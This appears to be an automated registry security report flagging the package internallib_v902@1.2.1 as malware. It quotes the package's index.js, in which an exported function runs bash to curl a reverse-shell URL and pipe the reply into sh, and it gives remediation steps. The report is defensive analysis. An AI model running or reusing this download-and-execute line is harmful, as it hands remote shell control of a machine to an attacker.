registry / Remote code execution / internallib_v902
internallib_v902
This report shows the evidence for internallib_v902@1.2.1. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiSource directly implements a remote download-and-execute chain through Bash. Although it is not install-time, it is an exported package capability with a concrete malicious payload endpoint.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
A consumer imports the package and calls command().
Impact
Arbitrary attacker-controlled shell commands can run with the invoking process's privileges.
Mechanism
child_process exec of curl piped to sh
Attack narrative
When command() is invoked, index.js runs Bash with curl against a remote reverse-shell URL and pipes the response directly into sh. The remote server controls the executed payload, enabling arbitrary code execution in the caller's environment.
AI rationale
Source directly implements a remote download-and-execute chain through Bash. Although it is not install-time, it is an exported package capability with a concrete malicious payload endpoint.
Evidence
index.jspackage.jsoncheck.js/bin/bash
Network endpoints1
reverse-shell.sh/10.0.2.61:443
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Exported command executes a Bash command that downloads and pipes a remote response to sh.
- The executed URL is reverse-shell.sh/10.0.2.61:443, consistent with remote shell payload delivery.
Evidence against
- No npm preinstall, install, or postinstall lifecycle hook is declared.
- Execution requires importing the package and calling command().
Behavioral surface
ChildProcessShell
TrivialUrlStrings
Source & flagged code
7 flagged · loading sourceindex.jsView file
1const { exec } = require('child_process');
L2: exports.command = function(){
L3: console.log("kno pwn");
L4: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.2.61:443|sh"');
L5: return "reverse completed";
Critical
1Trigger-reachable chain: manifest.main -> index.js
L1: const { exec } = require('child_process');
L2: exports.command = function(){
L3: console.log("kno pwn");
L4: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.2.61:443|sh"');
L5: return "reverse completed";
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L11const { exec } = require('child_process');
L2: exports.command = function(){
High
3
Findings
2 Critical5 High2 Low
CriticalDownload Executeindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighChild Processindex.js
HighShellindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
HighAi Review Evidenceindex.js
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to internallib_v902@1.2.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing internallib_v902@1.2.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.